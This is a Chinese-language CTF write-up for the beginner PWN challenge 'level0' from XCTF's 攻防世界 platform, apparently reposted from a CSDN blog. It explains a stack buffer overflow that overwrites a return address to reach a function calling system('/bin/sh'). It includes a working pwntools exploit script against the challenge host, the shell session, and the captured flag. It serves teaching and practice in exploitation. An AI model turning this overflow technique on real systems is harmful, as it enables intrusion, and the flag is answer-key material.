攻防世界-wp-PWN-新手区-1-level0

题目来源:

XMan

题目描述:

菜鸡了解了什么是溢出,他相信自己能得到shell

题目场景

220.249.52.133:48442

题目附件:

291721f42a044f50a2aead748d539df0

题目思路:

直接栈溢出,题目给了参数为/bin/sh的callsystem函数在0x400596

解题过程:

扫描二维码关注公众号,回复: 12416994 查看本文章

载入IDA64,找到main函数F5反编译得到伪C代码,一行打印,一行输入,进入vulnerable_function函数。

ssize_t vulnerable_function(){
    
    
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}

buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,能覆盖掉数组外面的东西。当属于数组的空间结束后,有一个0x8个字节长度的s,其次是一个存放着返回地址的r。我们可以输入数据,覆盖到返回地址r。

-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N       : rename
-0000000000000080 ; U       : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 buf             db ?
......
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010 ; end of stack variables

_system函数拥有系统的最高权限,参数为/bin/sh可以提供终端,从而控制系统。左侧的函数列表找到callsystem,地址是0x400596把他写到返回地址r上,在数组结束后直接返回到callsystem函数上。

.text:0000000000400596                         ; Attributes: bp-based frame
.text:0000000000400596                                         public callsystem
.text:0000000000400596                         callsystem      proc near
.text:0000000000400596                         ; __unwind {
.text:0000000000400596 55                                      push    rbp
.text:0000000000400597 48 89 E5                                mov     rbp, rsp
.text:000000000040059A BF 84 06 40 00                          mov     edi, offset command ; "/bin/sh"
.text:000000000040059F E8 BC FE FF FF                          call    _system
.text:00000000004005A4 5D                                      pop     rbp
.text:00000000004005A5 C3                                      retn
.text:00000000004005A5                         ; } // starts at 400596
.text:00000000004005A5                         callsystem      endp

解释一下汇编:x64和x32的汇编参数存放的位置不同,32位存在栈里,直接压入四个随意字节,再压入_system的参数地址,而64位优先存在寄存器里,所以需要把/bin/sh复制到寄存器里,然后再调用_system。脚本:

from pwn import *
p = remote("220.249.52.133", 48442)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
p.recvuntil("Hello, World\n")#当接收数据后
p.sendline(payload)
p.interactive()

运行脚本时把中文去掉

giantbranch@ubuntu:~/Desktop$ python 1.py 
[+] Opening connection to 220.249.52.133 on port 48442: Done
[*] Switching to interactive mode
$ cat flag
cyberpeace{6ec99dbcb629f24001684356904b3c37}

cyberpeace{6ec99dbcb629f24001684356904b3c37}

猜你喜欢

转载自blog.csdn.net/qq_45161658/article/details/112659988
今日推荐